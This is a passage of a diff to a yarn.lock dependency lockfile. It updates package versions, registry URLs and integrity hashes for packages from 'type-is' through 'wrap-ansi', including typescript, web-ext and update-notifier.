+  integrity sha512-tLq3bSNx+xSpwvAJnzrK0Ep5CLNWjvFTOp71URMaAEWBfRb9nnJiBoUe0tF8bI4ZFO3omgBR6NvnbzVUT3Ly4g==
+
 type-is@~1.6.18:
   version "1.6.18"
   resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
@@ -15845,15 +16978,25 @@ typedarray@^0.0.6:
   resolved "https://registry.yarnpkg.com/typedarray/-/typedarray-0.0.6.tgz#867ac74e3864187b1d3d47d996a78ec5c8830777"
   integrity sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=
 
+typescript-compiler@^1.4.1-2:
+  version "1.4.1-2"
+  resolved "https://registry.yarnpkg.com/typescript-compiler/-/typescript-compiler-1.4.1-2.tgz#ba4f7db22d91534a1929d90009dce161eb72fd3f"
+  integrity sha512-EMopKmoAEJqA4XXRFGOb7eSBhmQMbBahW6P1Koayeatp0b4AW2q/bBqYWkpG7QVQc9HGQUiS4trx2ZHcnAaZUg==
+
 typescript@3.9.3:
   version "3.9.3"
   resolved "https://registry.yarnpkg.com/typescript/-/typescript-3.9.3.tgz#d3ac8883a97c26139e42df5e93eeece33d610b8a"
   integrity sha512-D/wqnB2xzNFIcoBG9FG8cXRDjiqSTbG2wd8DMZeQyJlP1vfTkIxH4GKveWaEBYySKIg+USu+E+EDIR47SqnaMQ==
 
-typescript@^3.7.5:
-  version "3.7.5"
-  resolved "https://registry.yarnpkg.com/typescript/-/typescript-3.7.5.tgz#0692e21f65fd4108b9330238aac11dd2e177a1ae"
-  integrity sha512-/P5lkRXkWHNAbcJIiHPfRoKqyd7bsyCma1hZNUGfn20qm64T6ZBlrzprymeu918H+mB/0rIg2gGK/BXkhhYgBw==
+typescript@^5.4.3:
+  version "5.7.3"
+  resolved "https://registry.yarnpkg.com/typescript/-/typescript-5.7.3.tgz#919b44a7dbb8583a9b856d162be24a54bf80073e"
+  integrity sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==
+
+typescript@~4.4.4:
+  version "4.4.4"
+  resolved "https://registry.yarnpkg.com/typescript/-/typescript-4.4.4.tgz#2cd01a1a1f160704d3101fd5a58ff0f9fcb8030c"
+  integrity sha512-DqGhF5IKoBl8WNf8C1gu8q0xZSInh9j1kJJMqT3a94w1JzVaBU4EXOSMrz9yDqMT0xt3selp83fuFMQ0uzv6qA==
 
 ua-parser-js@^0.7.18, ua-parser-js@^0.7.9:
   version "0.7.20"
@@ -15888,6 +17031,11 @@ undici-types@~5.26.4:
   resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-5.26.5.tgz#bcd539893d00b56e964fd2657a4866b221a65617"
   integrity sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==
 
+undici-types@~6.19.2:
+  version "6.19.8"
+  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.19.8.tgz#35111c9d1437ab83a7cdc0abae2f26d88eda0a02"
+  integrity sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==
+
 undici@^5.28.4:
   version "5.28.4"
   resolved "https://registry.yarnpkg.com/undici/-/undici-5.28.4.tgz#6b280408edb6a1a604a9b20340f45b422e373068"
@@ -15900,6 +17048,11 @@ unicode-canonical-property-names-ecmascript@^1.0.4:
   resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz#2619800c4c825800efdd8343af7dd9933cbe2818"
   integrity sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==
 
+unicode-canonical-property-names-ecmascript@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz#cb3173fe47ca743e228216e4a3ddc4c84d628cc2"
+  integrity sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==
+
 unicode-match-property-ecmascript@^1.0.4:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz#8ed2a32569961bce9227d09cd3ffbb8fed5f020c"
@@ -15908,16 +17061,34 @@ unicode-match-property-ecmascript@^1.0.4:
     unicode-canonical-property-names-ecmascript "^1.0.4"
     unicode-property-aliases-ecmascript "^1.0.4"
 
+unicode-match-property-ecmascript@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz#54fd16e0ecb167cf04cf1f756bdcc92eba7976c3"
+  integrity sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==
+  dependencies:
+    unicode-canonical-property-names-ecmascript "^2.0.0"
+    unicode-property-aliases-ecmascript "^2.0.0"
+
 unicode-match-property-value-ecmascript@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz#0d91f600eeeb3096aa962b1d6fc88876e64ea531"
   integrity sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ==
 
+unicode-match-property-value-ecmascript@^2.1.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz#a0401aee72714598f739b68b104e4fe3a0cb3c71"
+  integrity sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==
+
 unicode-property-aliases-ecmascript@^1.0.4:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.0.5.tgz#a9cc6cc7ce63a0a3023fc99e341b94431d405a57"
   integrity sha512-L5RAqCfXqAwR3RriF8pM0lU0w4Ryf/GgzONwi6KnL1taJQa7x1TCxdJnILX59WIGOwR57IVxn7Nej0fz1Ny6fw==
 
+unicode-property-aliases-ecmascript@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz#43d41e3be698bd493ef911077c9b131f827e8ccd"
+  integrity sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==
+
 union-value@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/union-value/-/union-value-1.0.1.tgz#0b6fe7b835aecda61c6ea4d4f02c14221e109847"
@@ -15941,13 +17112,6 @@ unique-stream@^2.0.2:
     json-stable-stringify "^1.0.0"
     through2-filter "^2.0.0"
 
-unique-string@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-1.0.0.tgz#9e1057cca851abb93398f8b33ae187b99caec11a"
-  integrity sha1-nhBXzKhRq7kzmPizOuGHuZyuwRo=
-  dependencies:
-    crypto-random-string "^1.0.0"
-
 unique-string@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-2.0.0.tgz#39c6451f81afb2749de2b233e3f7c5e8843bd89d"
@@ -15955,6 +17119,13 @@ unique-string@^2.0.0:
   dependencies:
     crypto-random-string "^2.0.0"
 
+unique-string@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-3.0.0.tgz#84a1c377aff5fd7a8bc6b55d8244b2bd90d75b9a"
+  integrity sha512-VGXBUVwxKMBUznyffQweQABPRRW1vHZAbadFZud4pLFAqRGvv/96vafgjWFqzourzr8YonlQiPgH0YCJfawoGQ==
+  dependencies:
+    crypto-random-string "^4.0.0"
+
 universal-user-agent@^6.0.0:
   version "6.0.0"
   resolved "https://registry.yarnpkg.com/universal-user-agent/-/universal-user-agent-6.0.0.tgz#3381f8503b251c0d9cd21bc1de939ec9df5480ee"
@@ -15970,6 +17141,16 @@ universalify@^0.2.0:
   resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.2.0.tgz#6451760566fa857534745ab1dde952d1b1761be0"
   integrity sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==
 
+universalify@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-1.0.0.tgz#b61a1da173e8435b2fe3c67d29b9adf8594bd16d"
+  integrity sha512-rb6X1W158d7pRQBg5gkR8uPaSfiids68LTJQYOtEUhoJUWBdaQHsuT/EUduxXYxcrt4r5PJ4fuHW1MHT6p0qug==
+
+universalify@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.1.tgz#168efc2180964e6386d061e094df61afe239b18d"
+  integrity sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==
+
 unpipe@1.0.0, unpipe@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
@@ -15988,12 +17169,17 @@ unset-value@^1.0.0:
     has-value "^0.3.1"
     isobject "^3.0.0"
 
-unzip-response@^2.0.1:
+untildify@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/untildify/-/untildify-4.0.0.tgz#2bc947b953652487e4600949fb091e3ae8cd919b"
+  integrity sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==
+
+upath@2.0.1:
   version "2.0.1"
-  resolved "https://registry.yarnpkg.com/unzip-response/-/unzip-response-2.0.1.tgz#d2f0f737d16b0615e72a6935ed04214572d56f97"
-  integrity sha1-0vD3N9FrBhXnKmk17QQhRXLVb5c=
+  resolved "https://registry.yarnpkg.com/upath/-/upath-2.0.1.tgz#50c73dea68d6f6b990f51d279ce6081665d61a8b"
+  integrity sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==
 
-upath@1.2.0, upath@^1.1.1:
+upath@^1.1.1:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/upath/-/upath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894"
   integrity sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==
@@ -16006,23 +17192,13 @@ update-browserslist-db@^1.0.10, update-browserslist-db@^1.0.13:
     escalade "^3.1.2"
     picocolors "^1.0.0"
 
-update-notifier@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/update-notifier/-/update-notifier-4.0.0.tgz#f344a6f8b03e00e31b323d632a0e632e9f0e0654"
-  integrity sha512-p9zf71hWt5GVXM4iEBujpUgx8mK9AWiCCapEJm/O1z5ntCim83Z1ATqzZFBHFYqx03laMqv8LiDgs/7ikXjf/g==
+update-browserslist-db@^1.1.1:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz#348377dd245216f9e7060ff50b15a1b740b75420"
+  integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
   dependencies:
-    boxen "^4.2.0"
-    chalk "^3.0.0"
-    configstore "^5.0.0"
-    has-yarn "^2.1.0"
-    import-lazy "^2.1.0"
-    is-ci "^2.0.0"
-    is-installed-globally "^0.3.1"
-    is-npm "^4.0.0"
-    is-yarn-global "^0.3.0"
-    latest-version "^5.0.0"
-    semver-diff "^3.1.1"
-    xdg-basedir "^4.0.0"
+    escalade "^3.2.0"
+    picocolors "^1.1.1"
 
 update-notifier@4.1.0:
   version "4.1.0"
@@ -16043,21 +17219,45 @@ update-notifier@4.1.0:
     semver-diff "^3.1.1"
     xdg-basedir "^4.0.0"
 
-update-notifier@^2.1.0:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/update-notifier/-/update-notifier-2.5.0.tgz#d0744593e13f161e406acb1d9408b72cad08aff6"
-  integrity sha512-gwMdhgJHGuj/+wHJJs9e6PcCszpxR1b236igrOkUofGhqJuG+amlIKwApH1IW1WWl7ovZxsX49lMBWLxSdm5Dw==
+update-notifier@6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/update-notifier/-/update-notifier-6.0.2.tgz#a6990253dfe6d5a02bd04fbb6a61543f55026b60"
+  integrity sha512-EDxhTEVPZZRLWYcJ4ZXjGFN0oP7qYvbXWzEgRm/Yql4dHX5wDbvh89YHP6PK1lzZJYrMtXUuZZz8XGK+U6U1og==
+  dependencies:
+    boxen "^7.0.0"
+    chalk "^5.0.1"
+    configstore "^6.0.0"
+    has-yarn "^3.0.0"
+    import-lazy "^4.0.0"
+    is-ci "^3.0.1"
+    is-installed-globally "^0.4.0"
+    is-npm "^6.0.0"
+    is-yarn-global "^0.4.0"
+    latest-version "^7.0.0"
+    pupa "^3.1.0"
+    semver "^7.3.7"
+    semver-diff "^4.0.0"
+    xdg-basedir "^5.1.0"
+
+update-notifier@^5.0.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/update-notifier/-/update-notifier-5.1.0.tgz#4ab0d7c7f36a231dd7316cf7729313f0214d9ad9"
+  integrity sha512-ItnICHbeMh9GqUy31hFPrD1kcuZ3rpxDZbf4KUDavXwS0bW5m7SLbDQpGX3UYr072cbrF5hFUs3r5tUsPwjfHw==
   dependencies:
-    boxen "^1.2.1"
-    chalk "^2.0.1"
-    configstore "^3.0.0"
+    boxen "^5.0.0"
+    chalk "^4.1.0"
+    configstore "^5.0.1"
+    has-yarn "^2.1.0"
     import-lazy "^2.1.0"
-    is-ci "^1.0.10"
-    is-installed-globally "^0.1.0"
-    is-npm "^1.0.0"
-    latest-version "^3.0.0"
-    semver-diff "^2.0.0"
-    xdg-basedir "^3.0.0"
+    is-ci "^2.0.0"
+    is-installed-globally "^0.4.0"
+    is-npm "^5.0.0"
+    is-yarn-global "^0.3.0"
+    latest-version "^5.1.0"
+    pupa "^2.1.1"
+    semver "^7.3.4"
+    semver-diff "^3.1.1"
+    xdg-basedir "^4.0.0"
 
 uri-js@^4.2.2:
   version "4.2.2"
@@ -16066,6 +17266,13 @@ uri-js@^4.2.2:
   dependencies:
     punycode "^2.1.0"
 
+uri-js@^4.4.1:
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
+  integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
+  dependencies:
+    punycode "^2.1.0"
+
 urix@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
@@ -16159,7 +17366,7 @@ utils-merge@1.0.1:
   resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
   integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
 
-uuid@^3.0.0, uuid@^3.0.1, uuid@^3.3.2:
+uuid@^3.0.0, uuid@^3.0.1:
   version "3.3.2"
   resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.3.2.tgz#1b4af4955eb3077c501c23872fc6513811587131"
   integrity sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==
@@ -16215,15 +17422,6 @@ vercel@^20.1.0:
     "@vercel/ruby" "1.2.4"
     update-notifier "4.1.0"
 
-verror@1.10.0:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400"
-  integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=
-  dependencies:
-    assert-plus "^1.0.0"
-    core-util-is "1.0.2"
-    extsprintf "^1.2.0"
-
 vinyl-sourcemaps-apply@^0.2.0:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/vinyl-sourcemaps-apply/-/vinyl-sourcemaps-apply-0.2.1.tgz#ab6549d61d172c2b1b87be5c508d239c8ef87705"
@@ -16269,14 +17467,13 @@ walker@^1.0.8:
   dependencies:
     makeerror "1.0.12"
 
-watchpack@1.6.1:
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-1.6.1.tgz#280da0a8718592174010c078c7585a74cd8cd0e2"
-  integrity sha512-+IF9hfUFOrYOOaKyfaI7h7dquUIOgyEMoQMLA7OP5FxegKA2+XdXThAZ9TU2kucfhDH7rfMHs1oPYziVGWRnZA==
+watchpack@2.4.1:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.4.1.tgz#29308f2cac150fa8e4c92f90e0ec954a9fed7fff"
+  integrity sha512-8wrBCMtVhqcXP2Sup1ctSkga6uc2Bx0IIvKyT7yTFier5AXHooSI+QyQQAtTb7+E0IUCCKyTFmXqdqgum2XWGg==
   dependencies:
-    chokidar "^2.1.8"
+    glob-to-regexp "^0.4.1"
     graceful-fs "^4.1.2"
-    neo-async "^2.5.0"
 
 watchpack@^2.4.0:
   version "2.4.0"
@@ -16300,45 +17497,48 @@ wcwidth@^1.0.0:
   dependencies:
     defaults "^1.0.3"
 
-web-ext@^4:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/web-ext/-/web-ext-4.3.0.tgz#50f6968e140b95d41ccff22b9ecbc9fbf3c05414"
-  integrity sha512-1BCFeXuMY3QHnlkiUqgCV4ODNN84X3mX4GJk+Gb8tFv0Z8Grj4LneYa4A/0txoxpsz5E05THnKtb31t0XPJ8EQ==
-  dependencies:
-    "@babel/polyfill" "7.7.0"
-    "@babel/runtime" "7.7.7"
-    "@cliqz-oss/firefox-client" "0.3.1"
-    "@cliqz-oss/node-firefox-connect" "1.2.1"
-    adbkit "2.11.1"
-    addons-linter "1.26.0"
-    bunyan "1.8.12"
-    camelcase "5.3.1"
-    chrome-launcher "0.13.3"
-    debounce "1.2.0"
-    decamelize "3.2.0"
+web-ext@^8:
+  version "8.2.0"
+  resolved "https://registry.yarnpkg.com/web-ext/-/web-ext-8.2.0.tgz#876534050bfacaa9e89cdf86ff16ef859cc3161b"
+  integrity sha512-krU7rmxaG96b3Q9Enbry9/pmE/5FUGkvajCGfJCD+J79rt7JFjhVpw1Dszz4BqQkTd3y8cG5wJ3p1uC6uyAwcA==
+  dependencies:
+    "@babel/runtime" "7.24.7"
+    "@devicefarmer/adbkit" "3.2.6"
+    addons-linter "6.31.1"
+    bunyan "1.8.15"
+    camelcase "8.0.0"
+    chrome-launcher "0.15.1"
+    debounce "1.2.1"
+    decamelize "6.0.0"
     es6-error "4.1.1"
-    event-to-promise "0.8.0"
-    firefox-profile "1.3.1"
-    fx-runner "1.0.12"
-    git-rev-sync "2.0.0"
-    import-fresh "3.2.1"
-    mkdirp "1.0.4"
-    multimatch "4.0.0"
+    firefox-profile "4.6.0"
+    fs-extra "11.2.0"
+    fx-runner "1.4.0"
+    https-proxy-agent "^7.0.0"
+    jose "5.4.1"
+    jszip "3.10.1"
+    mkdirp "3.0.1"
+    multimatch "6.0.0"
     mz "2.7.0"
-    node-notifier "6.0.0"
-    open "7.0.0"
-    parse-json "5.0.0"
-    sign-addon "2.0.5"
-    source-map-support "0.5.19"
-    stream-to-promise "2.2.0"
-    strip-bom "4.0.0"
-    strip-json-comments "3.0.1"
-    tmp "0.1.0"
-    update-notifier "4.0.0"
-    watchpack "1.6.1"
-    ws "7.2.3"
-    yargs "15.3.1"
-    zip-dir "1.0.2"
+    node-fetch "3.3.2"
+    node-notifier "10.0.1"
+    open "9.1.0"
+    parse-json "7.1.1"
+    promise-toolbox "0.21.0"
+    source-map-support "0.5.21"
+    strip-bom "5.0.0"
+    strip-json-comments "5.0.1"
+    tmp "0.2.3"
+    update-notifier "6.0.2"
+    watchpack "2.4.1"
+    ws "8.17.1"
+    yargs "17.7.2"
+    zip-dir "2.0.0"
+
+web-streams-polyfill@^3.0.3:
+  version "3.3.3"
+  resolved "https://registry.yarnpkg.com/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz#2073b91a2fdb1fbfbd401e7de0ac9f8214cecb4b"
+  integrity sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==
 
 web-streams-polyfill@^3.1.1:
   version "3.1.1"
@@ -16350,10 +17550,10 @@ webidl-conversions@^3.0.0:
   resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz#24534275e2a7bc6be7bc86611cc16ae0a5654871"
   integrity sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==
 
-webidl-conversions@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-5.0.0.tgz#ae59c8a00b121543a2acc65c0434f57b0fc11aff"
-  integrity sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==
+webidl-conversions@^4.0.2:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad"
+  integrity sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==
 
 webidl-conversions@^7.0.0:
   version "7.0.0"
@@ -16434,11 +17634,16 @@ webpack-merge@^5.7.3:
     clone-deep "^4.0.1"
     wildcard "^2.0.0"
 
-webpack-sources@^3.2.3:
+webpack-sources@^3.2.0, webpack-sources@^3.2.3:
   version "3.2.3"
   resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-3.2.3.tgz#2d4daab8451fd4b240cc27055ff6a0c2ccea0cde"
   integrity sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==
 
+webpack-stats-plugin@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/webpack-stats-plugin/-/webpack-stats-plugin-1.1.3.tgz#ebcc36c8b468074ad737882e2043c1ce4b55d928"
+  integrity sha512-yUKYyy+e0iF/w31QdfioRKY+h3jDBRpthexBOWGKda99iu2l/wxYsI/XqdlP5IU58/0KB9CsJZgWNAl+/MPkRw==
+
 webpack@^5.82.1:
   version "5.82.1"
   resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.82.1.tgz#8f38c78e53467556e8a89054ebd3ef6e9f67dbab"
@@ -16509,15 +17714,6 @@ whatwg-mimetype@^3.0.0:
   resolved "https://registry.yarnpkg.com/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz#5fa1a7623867ff1af6ca3dc72ad6b8a4208beba7"
   integrity sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==
 
-whatwg-url@8.1.0:
-  version "8.1.0"
-  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-8.1.0.tgz#c628acdcf45b82274ce7281ee31dd3c839791771"
-  integrity sha512-vEIkwNi9Hqt4TV9RdnaBPNt+E2Sgmo3gePebCRgZ1R7g6d23+53zCTnuB0amKI4AXq6VM8jj2DUAa0S1vjJxkw==
-  dependencies:
-    lodash.sortby "^4.7.0"
-    tr46 "^2.0.2"
-    webidl-conversions "^5.0.0"
-
 whatwg-url@^12.0.0, whatwg-url@^12.0.1:
   version "12.0.1"
   resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-12.0.1.tgz#fd7bcc71192e7c3a2a97b9a8d6b094853ed8773c"
@@ -16534,6 +17730,15 @@ whatwg-url@^5.0.0:
     tr46 "~0.0.3"
     webidl-conversions "^3.0.0"
 
+whatwg-url@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06"
+  integrity sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==
+  dependencies:
+    lodash.sortby "^4.7.0"
+    tr46 "^1.0.1"
+    webidl-conversions "^4.0.2"
+
 when@3.7.7:
   version "3.7.7"
   resolved "https://registry.yarnpkg.com/when/-/when-3.7.7.tgz#aba03fc3bb736d6c88b091d013d8a8e590d84718"
@@ -16563,27 +17768,20 @@ which@1.2.4:
     is-absolute "^0.1.7"
     isexe "^1.1.1"
 
-which@^1.0.5, which@^1.2.9, which@^1.3.1:
+which@^1.0.5, which@^1.2.9:
   version "1.3.1"
   resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
   integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
   dependencies:
     isexe "^2.0.0"
 
-which@^2.0.1:
+which@^2.0.1, which@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
   integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
   dependencies:
     isexe "^2.0.0"
 
-widest-line@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/widest-line/-/widest-line-2.0.1.tgz#7438764730ec7ef4381ce4df82fb98a53142a3fc"
-  integrity sha512-Ba5m9/Fa4Xt9eb2ELXt77JxVDV8w7qQrH0zS/TWSJdLyAwQjWoOzpzj5lwVftDz6n/EOu3tNACS84v509qwnJA==
-  dependencies:
-    string-width "^2.1.1"
-
 widest-line@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/widest-line/-/widest-line-3.1.0.tgz#8292333bbf66cb45ff0de1603b136b7ae1496eca"
@@ -16591,6 +17789,13 @@ widest-line@^3.1.0:
   dependencies:
     string-width "^4.0.0"
 
+widest-line@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/widest-line/-/widest-line-4.0.1.tgz#a0fc673aaba1ea6f0a0d35b3c2795c9a9cc2ebf2"
+  integrity sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig==
+  dependencies:
+    string-width "^5.0.1"
+
 wildcard@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/wildcard/-/wildcard-2.0.1.tgz#5ab10d02487198954836b6349f74fff961e10f67"
@@ -16608,7 +17813,7 @@ winreg@0.0.12:
   resolved "https://registry.yarnpkg.com/winreg/-/winreg-0.0.12.tgz#07105554ba1a9d08979251d129475bffae3006b7"
   integrity sha1-BxBVVLoanQiXklHRKUdb/64wBrc=
 
-word-wrap@^1.2.3, word-wrap@~1.2.3:
+word-wrap@^1.2.3:
   version "1.2.3"
   resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c"
   integrity sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==
@@ -16620,7 +17825,7 @@ workerize-loader@^2.0.2:
   dependencies:
     loader-utils "^2.0.0"
 
-"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
+"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
   version "7.0.0"
